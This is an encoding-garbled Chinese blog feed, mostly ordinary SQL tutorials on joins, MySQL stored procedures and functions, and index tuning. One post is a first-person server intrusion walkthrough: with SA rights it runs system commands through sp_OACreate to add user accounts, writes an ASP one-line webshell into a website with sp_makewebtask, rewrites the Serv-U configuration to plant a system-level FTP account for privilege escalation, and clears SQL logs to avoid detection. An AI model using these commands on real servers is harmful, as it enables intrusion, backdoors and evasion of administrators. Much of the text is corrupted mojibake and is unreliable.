      不管是否与? publishers   表中的? city   列匹配,LEFT   OUTER   JOIN   均会(x)在结果中包含   authors   表的所有行。注意:(x)l果中所列的大多C者都没有相匹配的数据,因此Q这些行的? pub_name   列包含空倹{? 
       
      使用叛_外联接? 
      假设在? city   列上联接   authors   表和   publishers   表。结果只昄在出版商所在城?jng)居住的作者(本例中ؓ(f)   Abraham   Bennet   和? Cheryl   CarsonQ。SQL-92   叛_外联接运符   RIGHT   OUTER   JOIN   指明Q不第一个表中是否有匚w的数据,l果包含第二个表中的所有行。? 
       
      若要在结果中包括所有的出版商,而不城?jng)中是否q有出版商居住,请用? SQL-92   叛_外联接。下面是   Transact-SQL   叛_外联接的查询和结果:(x)   
       
      USE   pubs   
      SELECT   a.au_fname,   a.au_lname,   p.pub_name   
      FROM   authors   AS   a   RIGHT   OUTER   JOIN   publishers   AS   p   
      ON   a.city   =   p.city   
      ORDER   BY   p.pub_name   ASC,   a.au_lname   ASC,   a.au_fname   ASC   
       
      下面是结果集Q? 
       
      au_fname   au_lname   pub_name     
      --------------------   ------------------------   --------------------     
      Abraham   Bennet   Algodata   I(yng)nfosystems   
      Cheryl   Carson   Algodata   I(yng)nfosystems   
      NULL   NULL   Binnet   &   Hardley   
      NULL   NULL   Five   Lakes   Publishing   
      NULL   NULL   GGG&G   
      NULL   NULL   Lucerne   Publishing   
      NULL   NULL   New   Moon   Books   
      NULL   NULL   Ramona   Publishers   
      NULL   NULL   Scootney   Books   
       
      (9   row(s)   affected)   
       
      使用谓词Q如联接与帔R比较Q可以进一步限制外联接。下例包含相同的叛_外联接,但消除销售量低于   50   本的书籍的书名:(x)   
       
      USE   pubs   
      SELECT   s.stor_id,   s.qty,   t.title   
      FROM   sales   s   RIGHT   OUTER   JOIN   titles   t   
      ON   s.title_id   =   t.title_id   
      AND   s.qty   >   50   
      ORDER   BY   s.stor_id   ASC   
       
      下面是结果集Q? 
       
      stor_id   qty   title     
      -------   ------   ---------------------------------------------------------     
      (null)   (null)   But   I(yng)s   I(yng)t   User   Friendly?     
      (null)   (null)   Computer   Phobic   AND   Non-Phobic   I(yng)ndividuals:   Behavior     
      Variations     
      (null)   (null)   Cooking   with   Computers:   Surreptitious   Balance   Sheets     
      (null)   (null)   Emotional   Security:   A   New   Algorithm     
      (null)   (null)   Fifty   Years   in   Buckingham   Palace   Kitchens     
      7066   75   I(yng)s   Anger   the   Enemy?     
      (null)   (null)   Life   Without   Fear     
      (null)   (null)   Net   Etiquette     
      (null)   (null)   Onions,   Leeks,   and   Garlic:   Cooking   Secrets   of   the     
      Mediterranean     
      (null)   (null)   Prolonged   Data   Deprivation:   Four   Case   Studies     
      (null)   (null)   Secrets   of   Silicon   Valley     
      (null)   (null)   Silicon   Valley   Gastronomic   Treats     
      (null)   (null)   Straight   Talk   About   Computers     
      (null)   (null)   Sushi,   Anyone?     
      (null)   (null)   The   Busy   Executive's   Database   Guide     
      (null)   (null)   The   Gourmet   Microwave     
      (null)   (null)   The   Psychology   of   Computer   Cooking     
      (null)   (null)   You   Can   Combat   Computer   Stress!     
       
      (18   row(s)   affected)   
       
      有关谓词的更多信息,请参见? WHERE。?   
       
      使用完整外部联接   
      若要通过在联接结果中包括不匹配的行保留不匚w信息Q请使用完整外部联接。Microsoft]   SQL   Server™? 2000   提供完整外部联接q算W? FULL   OUTER   JOINQ不另一个表是否有匹配的|此运符都包括两个表中的所有行。? 
       
      假设在? city   列上联接   authors   表和   publishers   表。结果只昄在出版商所在城?jng)居住的作者(本例中ؓ(f)   Abraham   Bennet   和? Cheryl   CarsonQ。SQL-92   FULL   OUTER   JOIN   q算W指明:(x)不管表中是否有匹配的数据Q结果将包括两个表中的所有行。? 
       
      若要在结果中包括所有作者和出版商,而不城?jng)中是否有出版商或者出版商是否住在同一个城?jng),请用完整外部联接。下面是   Transact-SQL   完整外部联接的查询和l果Q? 
       
      USE   pubs   
      SELECT   a.au_fname,   a.au_lname,   p.pub_name   
      FROM   authors   a   FULL   OUTER   JOIN   publishers   p   
      ON   a.city   =   p.city   
      ORDER   BY   p.pub_name   ASC,   a.au_lname   ASC,   a.au_fname   ASC   
       
      下面是结果集Q? 
       
      au_fname   au_lname   pub_name     
      --------------------   ----------------------------   --------------------     
      Reginald   Blotchet-Halls   NULL   
      Michel   DeFrance   NULL   
      I(yng)nnes   del   Castillo   NULL   
      Ann   Dull   NULL   
      Marjorie   Green   NULL   
      Morningstar   Greene   NULL   
      Burt   Gringlesby   NULL   
      Sheryl   Hunter   NULL   
      Livia   Karsen   NULL   
      Charlene   Locksley   NULL   
      Stearns   MacFeather   NULL   
      Heather   McBadden   NULL   
      Michael   O'Leary   NULL   
      Sylvia   Panteley   NULL   
      Albert   Ringer   NULL   
      Anne   Ringer   NULL   
      Meander   Smith   NULL   
      Dean   Straight   NULL   
      Dirk   Stringer   NULL   
      Johnson   White   NULL   
      Akiko   Yokomoto   NULL   
      Abraham   Bennet   Algodata   I(yng)nfosystems   
      Cheryl   Carson   Algodata   I(yng)nfosystems   
      NULL   NULL   Binnet   &   Hardley   
      NULL   NULL   Five   Lakes   Publishing   
      NULL   NULL   GGG&G   
      NULL   NULL   Lucerne   Publishing   
      NULL   NULL   New   Moon   Books   
      NULL   NULL   Ramona   Publishers   
      NULL   NULL   Scootney   Books
    联接条g可在   FROM   或? WHERE   子句中指定,在?  FROM   子句中指定联接条件。WHERE   和? HAVING   子句也可以包含搜索条Ӟ以进一步筛选联接条件所选的行。? 
       
      联接可分Z下几c:(x)     
       
      内联接(典型的联接运,使用像? =   或? <>   之类的比较运符Q。包括相{联接和自然联接。?   
      内联接用比较运符Ҏ(gu)每个表共有的列的值匹配两个表中的行。例如,(g)索?  students   和? courses   表中学生标识L(fng)同的所有行。? 
       
      外联接。外联接可以是左向外联接、右向外联接或完整外部联接。?   
      在? FROM   子句中指定外联接Ӟ可以׃列几l关键字中的一l指定:(x)   
       
      LEFT   JOIN   或? LEFT   OUTER   JOIN。?   
      左向外联接的l果集包括? LEFT   OUTER   子句中指定的左表的所有行Q而不仅仅是联接列所匚w的行。如果左表的某行在右表中没有匚w行,则在相关联的l果集行中右表的所有选择列表列均为空倹{? 
       
      RIGHT   JOIN   或? RIGHT   OUTER   JOIN。?    
      叛_外联接是左向外联接的反向联接。将q回双的所有行。如果右表的某行在左表中没有匚w行,则将为左表返回空倹{? 
       
      FULL   JOIN   或? FULL   OUTER   JOIN。?    
      完整外部联接q回左表和右表中的所有行。当某行在另一个表中没有匹配行Ӟ则另一个表的选择列表列包含空倹{如果表之间有匹配行Q则整个l果集行包含的数据倹{?  
       
      交叉联接。?   
      交叉联接q回左表中的所有行Q左表中的每一行与双中的所有行l合。交叉联接也UCW卡?dng)积。?  
       
      例如Q下面的内联接检索与某个出版商居住在相同州和城市(jng)的作者:(x)   
       
      USE   pubs   
      SELECT   a.au_fname,   a.au_lname,   p.pub_name   
      FROM   authors   AS   a   I(yng)NNER   JOIN   publishers   AS   p   
            ON   a.city   =   p.city   
            AND   a.state   =   p.state   
      ORDER   BY   a.au_lname   ASC,   a.au_fname   ASC   
       
      FROM   子句中的表或视图可通过内联接或完整外部联接按Q意顺序指定;但是Q用左或叛_外联接指定表或视图时Q表或视囄序很重要。有关用左或右向外联接排列表的更多信息Q请参见使用外联接。?    
       
       
       
       
      例子Q? 
      a表?   id   name     b表?    id   job   parent_id   
                  1   ?                   1     23     1   
                  2   李四                 2     34     2   
                  3   王武                 3     34     4   
       
      a.id同parent_id   存在关系   
       
      内连接? 
      select   a.*,b.*   from   a   inner   join   b     on   a.id=b.parent_id   
       
      l果是?   
      1   ?                   1     23     1   
      2   李四                 2     34     2   
       
      左连接? 
       
      select   a.*,b.*   from   a   left   join   b     on   a.id=b.parent_id   
       
      l果是?   
      1   ?                   1     23     1   
      2   李四                 2     34     2   
      3   王武                 null   
      双接? 
      select   a.*,b.*   from   a   right   join   b     on   a.id=b.parent_id   
       
      l果是?   
      1   ?                   1     23     1   
      2   李四                 2     34     2   
      null                 3     34     4   
       
      完全q接   
       
      select   a.*,b.*   from   a   full   join   b     on   a.id=b.parent_id   
       
       
      l果是?   
      1   ?                   1     23     1   
      2   李四                 2     34     2   
      null                 3     34     4   
      3   王武                 null
    左连接例?br />
    select count(*) as title from seek_user t1 left join sekk_info t2 on t1.seek_id=t2.user_id where SeekusType!='8'




    ]]>
    MySql5.0存储q程http://www.tkk7.com/jiabao/archive/2008/04/13/192527.html金家?/dc:creator>金家?/author>Sun, 13 Apr 2008 02:47:00 GMThttp://www.tkk7.com/jiabao/archive/2008/04/13/192527.htmlhttp://www.tkk7.com/jiabao/comments/192527.htmlhttp://www.tkk7.com/jiabao/archive/2008/04/13/192527.html#Feedback0http://www.tkk7.com/jiabao/comments/commentRss/192527.htmlhttp://www.tkk7.com/jiabao/services/trackbacks/192527.html
    格式Q?br />         
    CREATE PROCEDURE q程?([q程参数[,...]])
         [Ҏ(gu)?...] q程?br />
    CREATE FUNCTION 函数?([函数参数[,...]])
         RETURNS q回cd
         [Ҏ(gu)?...] 函数?br />     
    q程参数:
         [ IN | OUT | INOUT ] 参数?参数cd
        
    函数参数:
         参数?参数cd

    q回cd:
         有效的MySQL数据cd卛_

    Ҏ(gu)?
         LANGUAGE SQL
       | [NOT] DETERMINISTIC
       | { CONTAINS SQL | NO SQL | READS SQL DATA | MODIFIES SQL DATA }
       | SQL SECURITY { DEFINER | INVOKER }
       | COMMENT 'string'

    q程?函数?格式如下Q?br /> BEGIN
         有效的SQL语句
    END    
        
    我在q里不关?j)专有的?gu),q些与SQL规范不兼容,所以characteristic(Ҏ(gu)?的相兛_容不作考虑?br /> //
    在开发过E中有几点要注意Q?br /> 1、存储过E注?MySQL支持采用--或?**/注释Q其中前者是行注释,后者是D式注释
    2、变量首先用declarexQ其中(f)时变量可以直接以@前缀修饰以供引用
    3、直接采用MySQL的Administrator理器编辑时Q可以直接采用如下函数文本录入;
        但若在脚本中自动导入存储q程或函数时Q由于MySQL默认?;"为分隔符Q则q程体的每一?br />     都被MySQL以存储过E编译,则编译过E会(x)报错Q所以要事先用DELIMITER关键字申明当前段分隔W?br />     用完?jin)就把分隔符q原。 ?如下所C:(x)
            DELIMITER Q$
            Stored Procedures and Functions
            DELIMITER ;
    4、MySQL支持大量的内嵌函敎ͼ有些是和大型商用数据库如oracle、informix、sybase{一_(d)
        但也有些函数名称不一_(d)但功能一_(d)或者有些名UC_(d)但功能相异,q个特别对于?br />     q些数据库开发{q来的DBA要注意?br /> 5、存储过E或函数的调试:(x)我目前还没有研究MySQL所带的各种工具包,q不清楚其提供了(jin)调试工具
        没有Q不q编译错误相对好查找Q至于业务流E的调试Q可以采用一个比较笨的方法,是创徏一
        个调试表Q在包体中各个流E点都插入一条记录,以观察程序执行流E。这也是一个比较方便的W?br />     办法。^_^
       
        下面?个例子,提供?jin)一U字串加密的法Q每ơ以相同的入参调用都?x)得C同的加密l果Q?br />     法相对比较单,不具备强度。分别以函数和过E的形式分别实现如下Q?br /> (1)函数

    eg:
    CREATE FUNCTION fun_addmm(inpass varchar(10)) RETURNS varchar(11)
    BEGIN
          declare string_in varchar(39);
          declare string_out varchar(78);
          declare offset tinyint(2);
          declare outpass varchar(30) default ';
          declare len tinyint;
          /*declare i tinyint;*/

          /**/
          set len=LENGTH(inpass);
          if((len<=0) or (len>10)) then
              return "";
          end if;

          set offset=(SECOND(NOW()) mod 39)+1; /*Ҏ(gu)U数取模*/
          /*insert into   testtb values(offset,'offset: ');*/
          set string_out='YN8K1JOZVURB3MDETS5GPL27AXWIHQ94C6F0#Q_';   /*密钥*/
          set string_in='_Q?ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';

          set outpass=CONCAT(outpass,SUBSTRING(string_out,offset,1));
    /*      insert into   testtb values(2,outpass);*/
          set string_out=CONCAT(string_out,string_out);
          set @i=0;
          REPEAT
            set @i=@i+1;
            set outpass=CONCAT(outpass,SUBSTR(string_out,INSTR(string_in,SUBSTRING(inpass,@i,1))+offset,1));
    /*        insert into   testtb values(@i+2,outpass);*/
          UNTIL (@i>=len)
          end REPEAT;

          return outpass;
    END


    (2)q程

    CREATE PROCEDURE `pro_addmm`(IN inpass varchar(10),OUT outpass varchar(11))
    BEGIN
          declare string_in varchar(39);
          declare string_out varchar(78);
          declare offset tinyint(2);                
          declare len tinyint;

          set outpass=';

          set len=LENGTH(inpass);
          if((len<=0) or (len>10)) then
              set outpass=';
          else
              set offset=(SECOND(NOW()) mod 39)+1;

              set string_out='YN8K1JOZVURB3MDETS5GPL27AXWIHQ94C6F0#Q_';
              set string_in='_Q?ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';

              set outpass=CONCAT(outpass,SUBSTRING(string_out,offset,1));

              set string_out=CONCAT(string_out,string_out);
              set @i=0;
              REPEAT
                    set @i=@i+1;
                    set outpass=CONCAT(outpass,SUBSTR(string_out,INSTR(string_in,SUBSTRING(inpass,@i,1))+offset,1));
              UNTIL (@i>=len)
              end REPEAT;
          end if;
    END


    //
    执行l果如下Q?br /> mysql> call pro_addmm('zhouys',@a);
    Query OK, 0 rows affected (0.00 sec)

    mysql> SELECT @a;
    +---------+
    | @a       |
    +---------+
    | U_PI6Q? |
    +---------+
    1 row in set (0.00 sec)

    mysql> call pro_addmm('zhouys',@a);
    Query OK, 0 rows affected (0.00 sec)

    mysql> SELECT @a;
    +---------+
    | @a       |
    +---------+
    | 9P8UEGM |
    +---------+
    1 row in set (0.00 sec)

    mysql> select fun_submm('U_PI6Q?');
    +----------------------+
    | fun_submm('U_PI6Q?') |
    +----------------------+
    | ZHOUYS                |
    +----------------------+
    1 row in set (0.00 sec)

    加密法有几个弱点:(x)
    1、不支持大小?br /> 2、不支持中文
    3、加密强度不?br />
    有兴的人可以研I一下解密函数如何编写,q里׃赘述?jin)?img src ="http://www.tkk7.com/jiabao/aggbug/192527.html" width = "1" height = "1" />

    ]]>
    用存储过E搞定服务器http://www.tkk7.com/jiabao/archive/2008/04/13/192526.html金家?/dc:creator>金家?/author>Sun, 13 Apr 2008 02:46:00 GMThttp://www.tkk7.com/jiabao/archive/2008/04/13/192526.htmlhttp://www.tkk7.com/jiabao/comments/192526.htmlhttp://www.tkk7.com/jiabao/archive/2008/04/13/192526.html#Feedback0http://www.tkk7.com/jiabao/comments/commentRss/192526.htmlhttp://www.tkk7.com/jiabao/services/trackbacks/192526.html郁闷?今天H然惛_可以用存储过E来搞定q个服务?/a>~
    首先在本地用sql server的查询分析器q上?权限当然是SA?br />但是在执行exec master.dbo.xp_cmdshell'net user'的时候却提示跟sql tool一L(fng)错误 看来xp_cmdshell?br />实不能用
    错误消息
    50001Q?1Q状?50001
    xpsql.cpp: 错误 5 来自 CreateProcessQ第 737 行)(j)
    可能是某个相关的DLL文g被删除了(jin)
    如图1



    看来xp_cmdshell是不能用鸟~ 不过偶们q有SP_OAcreate可以?用SP_OAcreate一样可以执行系l命?br />在查询分析器里执?br />DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD
    @shell,'run',null, 'C:\WINdows\system32\cmd.exe /c net user gydyhook hook /add'
    q段代码是利用SP_OAcreate来添加一个gydyhook的系l用?然后直接提升为管理员权限O(jin)K?br />提示命o(h)完成成功 说明SP_OAcreateq没有被删除 我们用终端连一?br />如图2
    ?




    居然提示密码错误Q难道是wscript.shell被删?jin)?其实q里的判断只是经验而你 你要问我怎么判断服务器是
    做了(jin)密码{略q是wscript.shell被删 我只能告诉你q是l验而已
    虽然wscript.shell被删?但是我们q是有FSO嘛?先试着列下目录 扑ֈWEB目录搞个SHELL再说
    使用exec master.dbo.xp_subdirs 'c:\'来查看C盘的目录 发现完全可以列目?
    列目录没问题?然后偶查看D盘的时候发现有D:\webq个目录 随便找一个网站在IE里打看发现存在这个网?
    然后列出来几个目录发现这个网站还有ewebeditor 不过偶们今天不用?因ؓ(f)有SA?也不用去备䆾?直接?br />个一句话q去
    语句如下
    exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
    exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '
    提示命o(h)执行成功偶们看看效果
    如图4
    如图5



    看来马写进去鸟~ 一Ҏ(gu)问题 剩下的就是写入大马啦 然后提权之~ 哈哈 但是意想不到的事情又发生?br />NND竟然不让我传大马 我日 提示ADODB.Stream 错误 '800a0bbc' 写入文gp|?然后换了(jin)N个目录都写不q?br />?br />然后我又列出来其他的目录写小马进?但是都传不了(jin)大马 看来理员把整个WEB目录都设|成?jin)只?br />如图6


    NND我都有SA?jin)还不信搞不定这个服务?差点忘记?jin)还可以用沙?嘿嘿 看来一着急脑子就?br />查询分析器里执行select * from openrowset('microsoft.jet.oledb.4.0','
    ;database=c:\windows\system32\ias\ias.mdb',
    'select shell("cmd.exe /c net user admin admin1234 /add")')来利用沙盘来d个管理员 但是事实告诉
    ?我的RPq不?br />如图7


    既然沙盘也不?那就另寻?gu)\?br />刚才列目录的时候好象看见了(jin)Serv-U6.3 但是使用exec master.dbo.xp_subdirs 'd:\Serv-U6.3'的时候发现看
    不到文g多w的内?不过没关p~ 偶们不是有一句话么。虽然没有写的权?但是ȝ权限L有吧 直接?br />一句话里查看目录就O(jin)K?虽然能看目录 但是用ASP馬,也不能讀出SERV——U(ku)配置文g?看来q得用存储过E?br />如图8

    既然扑ֈ?jin)SU的目录那偶就惌不能利用一句话写配|信息到ServUDaemon.ini?然后利用SU来提?但是事实
    证明q个破站权限太牛X?只能看不能写 不过没关p?偶们q可以利用存储过E?br />嘿嘿 使用declare @o int, @f int, @t int, @ret int
    declare @line varchar(8000)
    exec sp_oacreate 'scripting.filesystemobject', @o out
    exec sp_oamethod @o, 'opentextfile', @f out, 'd:\Serv-U6.3\ServUDaemon.ini', 1
    exec @ret = sp_oamethod @f, 'readline', @line out
    while( @ret = 0 )
    begin
    print @line
    exec @ret = sp_oamethod @f, 'readline', @line out
    end
    q段代码可以把ServUDaemon.ini里的配置信息全部昄出来 嘿嘿 既然能看?jin)那偉不是一样可以写q去Q?br />直接写一个系l权限的FTP帐号 q去
    使用declare @o int, @f int, @t int, @ret int
    exec sp_oacreate 'scripting.filesystemobject', @o out
    exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Serv-U6.3\ServUDaemon.ini', 1
    exec @ret = sp_oamethod @f, 'writeline', NULL, 《这里添写自己写好的SU配置信息 刚才复制的那些都?br />写上厅R?br />然后执行一?成功执行 我们再用存储q程看看写进L?
    如图9


    OK 我XXXXXX 成功写进M(jin)一个用户名为XXXX密码为空的系l权限的FTP 然后偶们?a >FTP里执?br />quote siteXXXXXXX 提权?yu)好了(jin)?q里已经很熟(zhn)了(jin) ׃写了(jin)。~ 然后?389q一?成功地到服务器权?br />然后偶们再用set nocount on
    declare @logicalfilename sysname,
    @maxminutes int,
    @newsize int 来清理掉SQL日志 免的被管理员发现
    整个的提权过E大部分都是用存储过E来完成的。其实这些东西在以前提权的时候都没有惛_?br />感觉q个思\很不?所以写出来 各位大牛见笑?br />


    ]]>
    mysql存储q程基本函数http://www.tkk7.com/jiabao/archive/2008/04/13/192523.html金家?/dc:creator>金家?/author>Sun, 13 Apr 2008 02:35:00 GMThttp://www.tkk7.com/jiabao/archive/2008/04/13/192523.htmlhttp://www.tkk7.com/jiabao/comments/192523.htmlhttp://www.tkk7.com/jiabao/archive/2008/04/13/192523.html#Feedback0http://www.tkk7.com/jiabao/comments/commentRss/192523.htmlhttp://www.tkk7.com/jiabao/services/trackbacks/192523.html
    CHARSET(str) //q回字串字符?br />CONCAT (string2  [,... ]) //q接字串
    INSTR (string ,substring ) //q回substring首次在string中出现的位置,不存在返?
    LCASE (string2 ) //转换成小?br />LEFT (string2 ,length ) //从string2中的左边起取length个字W?br />LENGTH (string ) //string长度
    LOAD_FILE (file_name ) //从文件读取内?br />LOCATE (substring , string  [,start_position ] ) 同INSTR,但可指定开始位|?br />LPAD (string2 ,length ,pad ) //重复用pad加在string开?直到字串长度为length
    LTRIM (string2 ) //去除前端I格
    REPEAT (string2 ,count ) //重复count?br />REPLACE (str ,search_str ,replace_str ) //在str中用replace_str替换search_str
    RPAD (string2 ,length ,pad) //在str后用pad补充,直到长度为length
    RTRIM (string2 ) //去除后端I格
    STRCMP (string1 ,string2 ) //逐字W比较两字串大小,
    SUBSTRING (str , position  [,length ]) //从str的position开?取length个字W?
    注:(x)mysql中处理字W串Ӟ默认W一个字W下标ؓ(f)1Q即参数position必须大于{于1

    mysql> select substring('abcd',0,2);
    +-----------------------+
    | substring('abcd',0,2) |
    +-----------------------+
    |                       |
    +-----------------------+
    1 row in set (0.00 sec)


    mysql> select substring('abcd',1,2);
    +-----------------------+
    | substring('abcd',1,2) |
    +-----------------------+
    | ab                    |
    +-----------------------+
    1 row in set (0.02 sec)


    TRIM([[BOTH|LEADING|TRAILING] [padding] FROM]string2) //去除指定位置的指定字W?br />UCASE (string2 ) //转换成大?br />RIGHT(string2,length) //取string2最后length个字W?br />SPACE(count) //生成count个空?

    ?a >.数学c?br />

    ABS (number2 ) //l对?br />BIN (decimal_number ) //十进制{二进?br />CEILING (number2 ) //向上取整
    CONV(number2,from_base,to_base) //q制转换
    FLOOR (number2 ) //向下取整
    FORMAT (number,decimal_places ) //保留数位数
    HEX (DecimalNumber ) //转十六进?br />注:(x)HEX()中可传入字符Ԍ则返回其ASC-11码,如HEX('DEF')q回4142143
    也可以传入十q制整数Q返回其十六q制~码Q如HEX(25)q回19
    LEAST (number , number2  [,..]) //求最?br />MOD (numerator ,denominator ) //求余
    POWER (number ,power ) //求指?br />RAND([seed]) //随机?br />ROUND (number  [,decimals ]) //四舍五入,decimals为小C数]

    ?a >Q?/a>q回cdq均ؓ(f)整数Q如Q?br />(1)默认变ؓ(f)整Ş?br />mysql> select round(1.23);
    +-------------+
    | round(1.23) |
    +-------------+
    |           1 |
    +-------------+
    1 row in set (0.00 sec)

    mysql> select round(1.56);
    +-------------+
    | round(1.56) |
    +-------------+
    |           2 |
    +-------------+
    1 row in set (0.00 sec)

    (2)可以讑֮数位数Q?/a>q回点型数?br />mysql> select round(1.567,2);
    +----------------+
    | round(1.567,2) |
    +----------------+
    |           1.57 |
    +----------------+
    1 row in set (0.00 sec)


    SIGN (number2 ) //q回W号,正负?
    SQRT(number2) //开qx


    ?a >.
    日期旉c?br />

    ADDTIME (date2 ,time_interval ) //time_interval加到date2
    CONVERT_TZ (datetime2 ,fromTZ ,toTZ ) //转换时区
    CURRENT_DATE (  ) //当前日期
    CURRENT_TIME (  ) //当前旉
    CURRENT_TIMESTAMP (  ) //当前旉?br />DATE (datetime ) //q回datetime的日期部?br />DATE_ADD (date2 , INTERVAL d_value d_type ) //在date2中加上日期或旉
    DATE_FORMAT (datetime ,FormatCodes ) //使用formatcodes格式昄datetime
    DATE_SUB (date2 , INTERVAL d_value d_type ) //在date2上减M个时?br />DATEDIFF (date1 ,date2 ) //两个日期?br />DAY (date ) //q回日期的天
    DAYNAME (date ) //英文星期
    DAYOFWEEK (date ) //星期(1-7) ,1为星期天
    DAYOFYEAR (date ) //一q中的第几天
    EXTRACT (interval_name  FROM date ) //从date中提取日期的指定部分
    MAKEDATE (year ,day ) //l出q及(qing)q中的第几天,生成日期?br />MAKETIME (hour ,minute ,second ) //生成旉?br />MONTHNAME (date ) //英文月䆾?br />NOW (  ) //当前旉
    SEC_TO_TIME (seconds ) //U数转成旉
    STR_TO_DATE (string ,format ) //字串转成旉,以format格式昄
    TIMEDIFF (datetime1 ,datetime2 ) //两个旉?br />TIME_TO_SEC (time ) //旉转秒数]
    WEEK (date_time [,start_of_week ]) //W几?br />YEAR (datetime ) //q䆾
    DAYOFMONTH(datetime) //月的W几?br />HOUR(datetime) //时
    LAST_DAY(date) //date的月的最后日?br />MICROSECOND(datetime) //微秒
    MONTH(datetime) //?br />MINUTE(datetime) //?br />
    ?可用在INTERVAL中的cd
    DAY ,DAY_HOUR ,DAY_MINUTE ,DAY_SECOND ,HOUR ,HOUR_MINUTE ,HOUR_SECOND ,MINUTE ,MINUTE_SECOND,MONTH ,SECOND ,YEAR





    ]]>
    为mysql数据库徏立烦(ch)?/title><link>http://www.tkk7.com/jiabao/archive/2008/04/13/192500.html</link><dc:creator>金家?/dc:creator><author>金家?/author><pubDate>Sat, 12 Apr 2008 19:18:00 GMT</pubDate><guid>http://www.tkk7.com/jiabao/archive/2008/04/13/192500.html</guid><wfw:comment>http://www.tkk7.com/jiabao/comments/192500.html</wfw:comment><comments>http://www.tkk7.com/jiabao/archive/2008/04/13/192500.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/jiabao/comments/commentRss/192500.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/jiabao/services/trackbacks/192500.html</trackback:ping><description><![CDATA[p许多的PHP开发者一P在刚开始徏立动态网站的时候,我都是用相对简单的数据l构。PHP在连接数据库斚w的确实是十分方便Q译者注Q有些h认ؓ(f) PHP在连接不同数据库时没有一个统一的接口,不太方便Q其实这可以通过一些扩展库来做到这一点)(j)Q你无需看大量的设计文档可以徏立和使用数据库,q也 是PHP获得成功的主要原因之一。?br /><br />  前些时候,一位颇高的程序员居然问我什么叫做烦(ch)引,令我感到十分的惊奇,我想q绝不会(x)是一 _,因ؓ(f)有成千上万的开发者(可能大部分是使用MySQL的)(j)都没有受q有x据库的正规培训,管他们都ؓ(f)客户做过一些开发,但却对如何ؓ(f)数据库徏立? 当的索引所知较?yu),因此我v?jin)写一相x章的念头?br /><br />  最普通的情况Q是为出现在where子句的字D徏一个烦(ch)引。ؓ(f)方便讲述Q我们先建立一个如下的表?br /><br />Code代码如下:CREATE TABLE mytable (<br /> id serial primary key,<br /> category_id int not null default 0,<br /> user_id int not null default 0,<br /> adddate int not null default 0<br />);<br /><br />  很简单吧Q不q对于要说明q个问题Q已l够了(jin)。如果你在查询时常用cM以下的语句:(x)<br /><br />SELECT * FROM mytable WHERE category_id=1; <br /><br />  最直接的应对之道,是ؓ(f)category_id建立一个简单的索引Q?br /><br />CREATE I(yng)NDEX mytable_categoryid <br /> ON mytable (category_id);<br /><br />  OKQ搞定?先别高兴Q如果你有不止一个选择条g呢?例如Q?br /><br />SELECT * FROM mytable WHERE category_id=1 AND user_id=2;<br /><br />  你的W一反应可能是,再给user_id建立一个烦(ch)引。不好,q不是一个最佳的Ҏ(gu)。你可以建立多重的烦(ch)引?br /><br />CREATE I(yng)NDEX mytable_categoryid_userid ON mytable (category_id,user_id);<br /><br />  注意到我在命名时的习(fn)惯了(jin)吗?我?表名_字段1名_字段2?的方式。你很快׃(x)知道我ؓ(f)什么这样做?jin)?br /><br />  现在你已lؓ(f)适当的字D徏立了(jin)索引Q不q,q是有点不放?j)吧Q你可能?x)问Q数据库?x)真正用到这些?ch)引吗Q测试一下就O(jin)KQ对于大多数的数据库来说Q这是很Ҏ(gu)的,只要使用EXPLAIN命o(h)Q?br /><br />EXPLAIN<br /><br /> SELECT * FROM mytable <br />  WHERE category_id=1 AND user_id=2;<br /><br />This is what Postgres 7.1 returns (exactly as I(yng) expected) <br /><br /> NOTICE: QUERY PLAN:<br /><br />Index Scan using mytable_categoryid_userid on <br />  mytable (cost=0.00..2.02 rows=1 width=16)<br /><br />EXPLAIN<br /><br />  以上是postgres的数据,可以看到该数据库在查询的时候用了(jin)一个烦(ch)引(一个好开始)(j)Q而且它用的是我创徏的第二个索引。看到我上面命名的好处了(jin)吧,你马上知道它使用适当的烦(ch)引了(jin)?br /><br />  接着Q来个稍微复杂一点的Q如果有个ORDER BY字句呢?不管你信不信Q大多数的数据库在用order by的时候,都将?x)从索引中受益?br /><br />SELECT * FROM mytable <br />  WHERE category_id=1 AND user_id=2<br />    ORDER BY adddate DESC;<br /><br />  有点qh?jin)吧Q很单,p为where字句中的字段建立一个烦(ch)引一P也ؓ(f)ORDER BY的字句中的字D徏立一个烦(ch)引:(x)<br /><br />CREATE I(yng)NDEX mytable_categoryid_userid_adddate<br />  ON mytable (category_id,user_id,adddate);<br /><br />  注意: "mytable_categoryid_userid_adddate" 会(x)被截短ؓ(f)<br /><br />"mytable_categoryid_userid_addda"<br /><br />CREATE<br /><br />  EXPLAIN SELECT * FROM mytable<br />  WHERE category_id=1 AND user_id=2<br />   ORDER BY adddate DESC;<br /><br /> NOTICE: QUERY PLAN:<br /><br /> Sort (cost=2.03..2.03 rows=1 width=16)<br />  -> I(yng)ndex Scan using mytable_categoryid_userid_addda <br />    on mytable (cost=0.00..2.02 rows=1 width=16)<br /><br />EXPLAIN<br /><br />  看看EXPLAIN的输出,好象有点恐怖啊Q数据库多做?jin)一个我们没有要求的排序Q这下知道性能如何受损?jin)吧Q看来我们对于数据库的自w运作是有点q于乐观?jin),那么Q给数据库多一Ҏ(gu)C吧?br /><br />   Z(jin)跌排序q一步,我们q不需要其它另外的索引Q只要将查询语句E微改一下。这里用的是postgresQ我们将l该数据库一个额外的提示--? ORDER BY语句中,加入where语句中的字段。这只是一个技术上的处理,q不是必ȝQ因为实际上在另外两个字D上Qƈ不会(x)有Q何的排序操作Q不 q如果加入,postgres会(x)知道哪些是它应该做的?br /><br />EXPLAIN SELECT * FROM mytable <br />  WHERE category_id=1 AND user_id=2<br />  ORDER BY category_id DESC,user_id DESC,adddate DESC;<br /><br />NOTICE: QUERY PLAN:<br /><br />Index Scan Backward using <br /> mytable_categoryid_userid_addda on mytable <br />   (cost=0.00..2.02 rows=1 width=16)<br /><br />EXPLAIN<br /><br />  现在使用我们料想的烦(ch)引了(jin)Q而且它还明,知道可以从烦(ch)引后面开始读Q从而避免了(jin)M的排序?br /><br />   